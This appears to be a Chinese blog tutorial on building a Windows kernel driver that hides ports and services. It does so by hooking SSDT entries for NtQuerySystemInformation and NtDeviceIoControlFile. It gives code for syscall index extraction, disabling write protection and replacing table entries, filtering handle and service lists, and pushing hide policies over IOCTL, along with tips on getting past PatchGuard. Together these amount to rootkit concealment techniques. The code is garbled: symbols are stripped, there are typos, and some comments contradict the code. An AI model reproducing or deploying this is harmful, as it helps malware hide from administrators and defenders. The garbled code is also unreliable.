简介一份围绕Windows系统服务隐藏与端口屏蔽的资源以Hook钩子机制和未公开API为主线面向系统安全分析、逆向工程与底层开发人员可用于理解服务隐藏、端口隐蔽及检测对抗思路。压缩包为RAR格式共2个文件包含1个HTM说明文档和1个TXT文本整体仅8KBHTM文件通常承载技术说明或示例链接TXT则可能记录下载来源或附加注释适合快速查阅要点。目前已有130人学习下载。内容虽精简但触及内核级操作通过钩子拦截系统消息、借助未公开函数改写服务枚举结果或修改注册表服务配置使目标服务在管理工具中不可见同时利用Winsock等接口隐藏网络连接。对于希望掌握系统服务隐藏原理、识别恶意软件持久化手段的安全工程师与管理员这份资料可提供入门级线索也可作为进一步研究服务检测与恢复的起点。1. Hook 系统服务隐藏端口一次让端口从枚举视图里消失的内核级操作想要让一台 Windows 主机上正在监听的端口从 netstat 或其他查询工具的结果里“蒸发”多数人第一反应是改防火墙规则或者直接接管协议栈。真实环境里更常用的做法是进入内核Hook 系统服务调度表SSDT中我们关心的那一个 Nt 函数在数据返回用户态之前做一次清洗。这篇笔记要解决的就是这条链路——通过 Hook 系统服务隐藏端口把 TCP/UDP 句柄和服务信息从查询结果中过滤掉让上层所有枚举工具读到一份“净化过”的视图。适合谁做 EDR 原型验证、攻防对抗模拟、恶意样本行为复现的开发者。下面我直接把可复现的最小驱动路径拆给你顺带把 PatchGuard 和蓝屏的坑提前摆在台面上。2. SSDT 与端口枚举路径为什么选 Hook 系统服务这条链路2.1 从 netstat 到 NtQuerySystemInformation两条绕不开的查询路径很多人以为 netstat 的数据来自某个固定的内核全局表直接改内存就行。事实不是这样。在我调试过的模拟项目 X 里端口信息查询至少走两条互不相交的路径选错方向会白忙一场。第一条路径以 netstat 和 PowerShell 为代表。它们通过 IP Helper 服务拉起查询最终下发到 tcpip.sys 暴露的 \Device\Tcp、\Device\Udp 设备上经由一次设备 IOCTL 拿到 MIB 格式的连接表。这条链路里数据是“设备管理”的不是进程句柄。第二条路径是句柄遍历。Process Explorer、资源监视器这类工具不依赖 netstat 的 MIB 表它们直接调用未文档化的 NtQuerySystemInformation传入 SystemHandleInformation信息类 16或 SystemExtendedHandleInformation信息类 64把整个内核句柄表枚举一遍再从里面筛出 TCP、UDP 的文件对象句柄逐一映射到进程和端口上。所以“Hook 系统服务隐藏端口”的落点其实有两个一个是 Hook NtDeviceIoControlFile 去清洗 MIB 返回一个是 Hook NtQuerySystemInformation 去清洗句柄枚举。很多人只做其中一个结果发现在 A 工具里消失了换个工具又原形毕露。这个就是典型的“隐藏不彻底”。在真实攻防研究里最少要两条路一起覆盖才算闭环。2.2 SSDT Hook 与用户态 Hook、WFP 过滤的选型边界用户态 Hook 是最早被想到的方案直接在 iphlpapi.dll 的 GetExtendedTcpTable 上做 inline hook返回前把目标端口从表里删掉。这个方案实现快、调试容易、没有驱动签名的麻烦但作用域只在当前进程。netstat 是独立进程你得保证 hook 随进程注入才生效这本身就是一个更大的工程量而且现在很多 EDR 会对关键 DLL 的跳转做完整性校验。WFP 是另一条思路。用 WFP 的流过滤层阻断连接监听端口确实会从系统层面失效。但隐藏端口和阻断端口是两码事隐藏要求端口照常提供服务只是查询时“看不见”WFP 做不到这个效果它能做的是让连接本身建立不了反而暴露了行为。所以回到 SSDT Hook。它属于内核级、全局作用域对用户态进程透明而且能同时覆盖多条查询路径。代价是风险高、版本兼容差、随时可能触发 PatchGuard。做 EDR 检测特征开发或红队模拟时我更愿意先在这种方案里把行为跑通再用正常手段做防御侧的特征收敛。2.3 先把驱动骨架跑起来DriverEntry、卸载例程与测试签名没有骨架的 HOOK 都是空谈。先写一个可加载、可卸载的空驱动验证环境没问题再往上加东西。常见做法是用 Visual Studio 的 WDK 模板生成一个空项目然后替换成下面的最小实现#include ntddk.h NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { NTSTATUS status STATUS_SUCCESS; UNREFERENCED_PARAMETER(RegistryPath); // 注册卸载例程确保驱动可以卸载调试时不至于重启机器 DriverObject-DriverUnload DriverUnload; // 在这里挂 SSDT Hook 的初始化 // HookEntryInstall(); DbgPrint(PortHideDriver loaded.\n); return status; } VOID DriverUnload(PDRIVER_OBJECT DriverObject) { UNREFERENCED_PARAMETER(DriverObject); // 反初始化把 SSDT 表项改回去 // HookEntryUninstall(); DbgPrint(PortHideDriver unloaded.\n); }逻辑说明DriverEntry 是所有内核驱动的入口驱动被加载后首先执行这里DriverUnload 通过 DriverObject 里的函数指针注册保证设备可以被正常停止。参数说明RegistryPath 指向该驱动的服务注册表键调试阶段我们用不到DriverObject 是驱动对象卸载例程和后续的设备对象创建都挂在这个指针上。驱动编译出来后需要做测试签名或者在隔离调试机上关闭驱动签名强制否则加载时会报“拒绝访问”。这一步没做好后面所有实验都推不动。3. 用 SSDT Hook 实现端口隐藏定位索引、替换服务例程与过滤句柄3.1 从 ntdll 的 syscall stub 反推 NtQuerySystemInformation 的 SSDT 索引SSDT 表项索引在每一代 Windows 上都在变硬编码数字只会在换机器时翻车。最稳的定位方式不是去内核里碰运气而是去 ntdll.dll 里读NtQuerySystemInformation的导出函数开头。x64 上这些 Nt 函数的开头是统一格式的 syscall stub前几条指令里有一个立即数就是系统服务编号。// 用户态下读取 ntdll 导出函数的开头指令提取系统服务编号 #include windows.h #include winternl.h #include stdio.h #pragma pack(push, 1) typedef struct { UCHAR mov_eax; ULONG syscall_number; // 后面还有 ret 和跳转指令这里只需要前 5 字节 } SYSCALL_STUB; #pragma pack(pop) int main() { HMODULE ntdll GetModuleHandleW(Lntdll.dll); FARPROC proc GetProcAddress(ntdll, NtQuerySystemInformation); if (!proc) { printf(resolve failed\n); return 1; } SYSCALL_STUB* stub (SYSCALL_STUB*)proc; if (stub-mov_eax ! 0xB8) // 0xB8 是 mov eax, imm32 的 opcode { printf(unexpected stub format, opcode0x%02X\n, stub-mov_eax); return 2; } printf(NtQuerySystemInformation syscall number: 0x%lX\n, stub-syscall_number); return 0; }逻辑说明syscall stub 的前 5 字节是固定的mov eax, 系统服务编号opcode 为 0xB8后跟 4 字节立即数。这个立即数就是该系统服务在 SSDT 里的索引NtQuerySystemInformation 换成 NtDeviceIoControlFile 也适用。参数说明stub-syscall_number 拿到的索引随 Windows 版本和补丁等级浮动所以每次实验时动态解析而不是写死。拿到这个数字后把它通过 IOCTL 或注册表传给内核态驱动驱动用它去索引 SSDT 表。3.2 解密并替换 SSDT 表项Hook 入口与原始调用保存x64 系统的 SSDT 表项不是明文函数指针表项被系统做过混淆处理直接对表项赋值后调用会蓝屏。我一直在用的做法先拿到未导出的 KeServiceDescriptorTable 基址再按索引计算出真正指向 syscall 函数的地址替换前把原地址存到全局变量里这样 Hook 函数里能回落到原函数。// 驱动内完成 SSDT 表项替换的示意代码 // 注意不同 build 的混淆规则不同这里只做结构演示 ULONG_PTR g_OriginalNtQuerySystemInformation 0; NTSTATUS InstallSsdtHook(ULONG syscall_index, PVOID* service_table_base) { // service_table_base 由特征码扫描获得实验环境下可手动传入 ULONG_PTR* entry ((ULONG_PTR*)service_table_base)[syscall_index]; // 保存原始函数地址Hook 函数最后要把执行交还给这里 g_OriginalNtQuerySystemInformation DecodeSsdtEntry(*entry); if (!g_OriginalNtQuerySystemInformation) { return STATUS_UNSUCCESSFUL; } // 替换表项注意 x64 下需要关闭内存写保护否则触发异常 WriteProtectOff(); *entry EncodeSsdtEntry((ULONG_PTR)HookNtQuerySystemInformation); WriteProtectOn(); return STATUS_SUCCESS; }逻辑说明DecodeSsdtEntry 和 EncodeSsdtEntry 是加解密表项的两个辅助函数真正的算法因 Windows 版本而异需要你在目标机器上用调试器提取常数。WriteProtectOff 和 WriteProtectOn 是关闭 CR0 写保护的成对操作改系统表格前必须这样做否则处理器直接拒绝写入。参数说明syscall_index 是上一步从 ntdll 里解析出来的编号service_table_base 是 SSDT 服务表基址实验时用 WinDbg 的dq nt!KeServiceDescriptorTable手工确认最稳妥。这里的血泪经验是替换成功后必须立即用调试器验证 entry 的值已经变化很多“没生效”其实是因为写保护没关干净地址没写进去。3.3 在 Hook 函数里过滤 TCP/UDP 句柄两种查询信息的处理Hook 函数的任务很简单先调一次原函数拿真实数据再判断当前查询的信息类是不是句柄枚举如果是就遍历句柄数组把与目标端口相关的句柄剔除后重新打包。这里面最容易被忽略的是重新打包时改头部计数不改的话上层会继续解析完整数组过滤等于白做。NTSTATUS HookNtQuerySystemInformation( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength) { NTSTATUS status ((NtQuerySystemInformation_t)g_OriginalNtQuerySystemInformation)( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); if (!NT_SUCCESS(status)) { return status; } // 只处理句柄枚举这一类其他信息类直接放行避免引入额外风险 if (SystemInformationClass 16 || SystemInformationClass 64) { FilterHandlesByPort((PUCHAR)SystemInformation, SystemInformationLength, SystemInformationClass); } return status; }逻辑说明FilterHandlesByPort 里会把句柄数组遍历一遍通过对象的类型索引和文件名特征判断是不是 TCP/UDP 相关句柄匹配到目标 PID 或端口时置空对应条目并同步修改头部的句柄计数。这里面“头部长什么样”是另一个版本差异点32 位与 64 位系统的头部对齐不一样建议先从调试器里把实际结构导出来再编码。参数说明SystemInformationClass 是用户传进来的信息类16 对应 SystemHandleInformation64 对应 SystemExtendedHandleInformation不同系统可能有新增的类宁可只放行已知类也别贪多。ReturnLength 要原样透传否则用户态按错误的长度解析缓冲会报“缓冲区太小或无效”。3.4 从用户态下发隐藏策略IOCTL 与白名单结构体驱动里的隐藏列表不能写死否则每次换目标端口都要重编驱动。我一般会在驱动里建一个全局数组通过 DeviceIoControl 从用户态写入要隐藏的 PID 和端口范围。这样调整策略只需要重启一个用户态配置器驱动不用动。typedef struct _HIDE_POLICY { ULONG ProcessId; // 要隐藏的进程 PID0 表示匹配所有进程 USHORT PortStart; // 起始端口 USHORT PortEnd; // 结束端口 } HIDE_POLICY; // 用户态下发隐藏策略 HIDE_POLICY policy { 0 }; policy.ProcessId 12345; policy.PortStart 8080; policy.PortEnd 8090; DWORD returned 0; BOOL ok DeviceIoControl( hDevice, IOCTL_PORT_HIDE_SET_POLICY, policy, sizeof(policy), NULL, 0, returned, NULL); if (!ok) { printf(set policy failed: %lu\n, GetLastError()); }逻辑说明DeviceIoControl 的第 2 个参数是控制码驱动端的 IRP_MJ_DEVICE_CONTROL 分发例程会解析这个控制码把传入的 policy 拷贝到内核全局数组。第 7 个参数 returned 会接收到驱动返回的字节数调试时看这个值能确认下发是否成功。参数说明PortStart 和 PortEnd 设计成闭区间是为了支持端口段隐藏比单端口更灵活。ProcessId 为 0 时驱动按端口匹配非 0 时先按 PID 过滤再匹配端口两层条件取交集。实际跑的时候你会遇到一个很现实的坑端口是绑定在句柄上的资源但句柄枚举结果里不一定直接带端口号这时候需要驱动内先按 PID 圈定候选句柄再通过句柄名或查询 TCP 表做一次关联计算量不小策略尽量下沉到驱动里。4. 顺手隐藏服务同一个 Hook 点上的 SystemServicesInformation 分支4.1 服务枚举为什么也会经过 NtQuerySystemInformation很多服务枚举工具除了调管理接口还会走 NtQuerySystemInformation 的 SystemServicesInformation 信息类去拉服务列表。这个信息类在未文档化数据结构里维护着所有系统服务的名称、状态和进程 ID。对攻击者来说隐藏端口只能治标真正有辨识度的特征是背后那个服务把服务枚举的数据也过滤掉才能让分析工具拼不出完整事件链。这也是标题里“隐藏服务”的落点复用同一个 Hook由信息类参数分流到不同的过滤函数。只要在 Hook 函数里判断到 SystemInformationClass 等于 122就进入服务列表的过滤分支否则走句柄分支。两条分支彼此独立不会互相干扰。这里的“等于 122”需要你在目标机器上确认因为信息类数值在新版本 Windows 里有调整。我在模拟项目 X 里用 WinDbg 验证过 Win10 22H2 是这个值其他版本建议先用工具打印一遍所有可用信息类。4.2 过滤服务信息节点的一个核心结构操作服务信息结构的头部是节点数量后面跟着每个服务节点的相对偏移。过滤时不需要把数组搬来搬去只需要把被隐藏的节点偏移置零并递减头部计数再把剩余节点重新紧凑排列。// 过滤服务信息列表中指定名称的服务 void FilterServiceEntries(PVOID buffer, ULONG length, const UNICODE_STRING* hide_name) { // 不同版本头部字段不同这里用 ULONG 示意真机以调试器导出为准 ULONG count *(PULONG)buffer; if (count 0 || length sizeof(ULONG)) { return; } // 从第一个节点开始扫描节点布局同样因版本而异 PUCHAR cursor (PUCHAR)buffer sizeof(ULONG); ULONG written 0; for (ULONG i 0; i count; i) { PERVICE_NODE_STUB node (PERVICE_NODE_STUB)cursor; if (RtlEqualUnicodeString(node-ServiceName, hide_name, TRUE)) { // 匹配的服务节点跳过不写入输出 cursor node-Size; continue; } if (written i) { // 把后续有效节点前移保持数组连续便于上层解析 RtlCopyMemory(buffer sizeof(ULONG) written * node-Size, node, node-Size); } written; cursor node-Size; } *(PULONG)buffer written; }逻辑说明外层用的是紧凑重排策略每遇到一个目标节点就用后面的节点覆盖空位最后把节点计数改成实际保留下来的数量。这样返回给用户的缓冲长度不变但解析器读到的有效节点变少了。参数说明hide_name 是允许隐藏的服务名称区分大小写由 RtlEqualUnicodeString 的第三个参数控制实验里我通常传 TRUE 做大小写不敏感匹配省得服务名大小写变动导致隐藏失效。node-Size 是单条记录的字节长度这个字段在某些版本里不直接存在需要你先用调试器把节点结构完整导出。4.3 不要漏掉 SCM/RPC隐藏服务需要补的第二块拼图Hook SystemServicesInformation 只能挡住一部分通过 NtQuerySystemInformation 枚举服务的工具。服务控制管理器SCM自身维护着服务的注册表状态和进程对象很多分析工具通过 RPC 向 SCM 发起 EnumServicesStatusEx 查询这条路径完全绕过了我们的 Hook。只做系统服务 Hook服务管理器的窗口里照样看得一清二楚。所以完整的隐藏服务方案通常是两层第一层是内核态过滤信息类挡住低层枚举工具第二层是注册表访问控制把服务注册表键的枚举权限收紧让非管理员工具读不到服务子键。第二层不涉及 SSDT Hook但对“隐藏服务”这个目的来说必不可少。我一般会先用登记表 ACL 把非特权枚举挡住再用内核 Hook 挡住内核态枚举两者配合效果才稳定。顺序上建议先做 ACL后做 Hook。因为 ACL 是声明式配置出问题可以快速回滚Hook 一旦写错就是蓝屏或进程崩溃。真机验证时先在命令行里用sc query查一遍再换第三方服务管理器工具查第二遍两边都不见才算过关。5. Hook 系统服务隐藏端口避坑指南蓝屏、PatchGuard 与过滤失效的 5 个现场5.1 现象加载驱动后系统直接蓝屏 0x00000050原因Hook 函数里访问了分页内存而系统服务调用发生在较高的 IRQL 级别分页内存在这一层不可访问。最常见是 Hook 函数里调用了 RtlEqualUnicodeString而传入的字符串指针指向分页池直接触发缺页错误。解决在 Hook 函数入口用KeGetCurrentIrql()打印当前 IRQL高于 DISPATCH_LEVEL 时只做简单比较不调用任何依赖分页内存的运行时函数。建议预先在驱动初始化阶段把隐藏名称缓存成非分页池结构Hook 函数里直接查缓存。5.2 现象修改完 SSDT 表项后系统网状重启事件日志里出现内核完整性报错原因PatchGuard 定期扫描系统关键结构SSDT 表项值异常直接判定内核被篡改。这不是 Hook 逻辑写错而是只要动了 SSDT 表项就必然触碰这个防线。解决研究环境下关闭 PatchGuard 或使用带内核调试参数的启动配置生产环境一律别用。关闭后仍要保持警惕调试阶段用快照虚拟机跑蓝屏或重启不影响主环境。另外一个常见做法是 Hook 之后高频恢复原始表项但这属于对抗性修改风险自己承担。5.3 现象端口在进程资源管理器里消失了但 netstat 里还能看到原因进程资源管理器走的是句柄枚举路径被 NtQuerySystemInformation 的 Hook 拦截netstat 走的是设备 IOCTL 路径由 tcpip.sys 直接响应两个出口根本不是同一个函数。解决把 Hook 覆盖到 NtDeviceIoControlFile按设备判断是否 \Device\Tcp 或 \Device\Udp然后清洗 MIB 返回数据。这条路径的数据结构更复杂建议先用 WinDbg 在 IOCTL 返回点打断点确认数据布局后再写过滤器。5.4 现象过滤句柄后部分工具弹出“内存位置访问无效”或解析错位原因句柄数组重新打包时没有同步修改头部计数或者把 64 位系统的对齐当成了 32 位处理导致上层工具按错误的偏移解析后半段数据读到了越界内存。解决在 Hook 函数里加一层完整性校验重新打包后把计数和实际遍历数量对比不一致就放弃过滤并直接返回原始数据。宁可在极端场景下漏一次隐藏也不能在每次查询时制造出解析异常后者会让所有用到句柄枚举的工具都变得不稳定。5.5 现象64 位系统上 32 位进程查询时端口照样可见原因32 位进程对系统服务的调用会经过 WOW64 转译层部分信息类是直接转发到原生 NtQuerySystemInformation部分则走另一套 thunk 逻辑Hook 只在原生路径上生效。解决检查 WOW64 的查询入口把 Hook 逻辑同样挂到ntdll32.dll转译对应的内核服务上。实际验证时用一个 32 位的小工具做查询一边查一边在内核调试器里确认请求是否到达了你的 Hook 分支。6. 验证隐藏效果并进阶三路验证与最小可控的隐藏框架6.1 用 Process Explorer、PowerShell 与环回连接验证隐藏做没做成功不要只看一个工具我建议最少三路验证。第一路是 Process Explorer 的 TCP 标签页确认句柄枚举路径被过滤第二路是 PowerShell 的Get-NetTCPConnection确认用户态 API 层也看不到目标端口第三路是在本机向目标端口发起环回连接确认端口仍然开放、服务仍能正常应答。三条路合在一起才能证明隐藏是“视图层隐藏”而不是“服务被杀”。# 第三路验证环回连接确认端口仍然存活 $client New-Object System.Net.Sockets.TcpClient try { $client.Connect(127.0.0.1, 8080) Write-Host port 8080 is alive } catch { Write-Host port 8080 unreachable } finally { $client.Close() }逻辑说明这个脚本只做一件事——尝试连接本地目标端口连得上说明应用仍在正常监听连不上说明 Hook 之外可能还有一层阻断需要回头排查驱动逻辑。参数说明Connect 的第二个参数是端口号改成你实际隐藏的那个端口。验证时建议先在不加载驱动的情况下跑一次基线连通性再加载驱动跑一次两次结果一致才能确定隐藏过程没有误伤服务本身。6.2 把隐藏列表做成动态配置从单个端口到 PID 维度实验阶段隐藏列表可以是固定死的但做到半成品时你会发现单端口不够用。监听端口可能变化、多进程协作、动态端口池都会让策略变得脆弱。把驱动里的全局数组改造成支持追加、删除、清空三种操作的策略表每次策略变更通过 IOCTL 同步进来比重新编译驱动高效太多。新增一种操作就多一个控制码命名上保持一一对应IOCTL_PORT_HIDE_ADD、IOCTL_PORT_HIDE_DELETE、IOCTL_PORT_HIDE_CLEAR。删除操作要额外处理“端口已被过滤进结果”的中间态确保删除策略后下一次查询就能看到端口而不是仍停留在驱动缓存的过滤名单里。这个更新逻辑建议单独用单元测试覆盖策略表一乱隐藏行为会变得像玄学一样没法预测。6.3 补掉 netstat 路径NtDeviceIoControlFile 的拦截方向参考如果句柄枚举路径隐藏完毕服务枚举路径也做了最后剩下的硬骨头就是 netstat 背后的设备 IOCTL 链路。NtDeviceIoControlFile 同样是在 SSDT 里的系统服务Hook 它的思路与 Hook NtQuerySystemInformation 完全一致拿到 syscall index替换表项原调用过滤返回。区别在于你需要识别 FileHandle 指向的是不是 \Device\Tcp 或 \Device\Udp再判断 IOCTL 的类型是不是连接表查询。这一段的识别逻辑要非常谨慎因为 \Device\Tcp 上还跑着大量其他控制请求误过滤会让原本正常的网络操作变得异常。我的建议是先只做日志打印把每个 IOCTL 的控制码和缓冲区长度记录到内核日志里观察一段时间确定哪个控制码对应连接表查询再写真正的过滤分支。别想当然地一次写完那里面的结构对齐足够让人怀疑人生。做完整套隐藏方案我的习惯是每次改完驱动都用调试器跑一轮双机测试确认 Hook 分支命中再逐个工具验证视图。这个习惯帮我挡掉了无数次“理论上隐藏了但实际没生效”的尴尬。希望帮到你。本文还有配套的精品资源点击获取
阅读完成 · 觉得有帮助?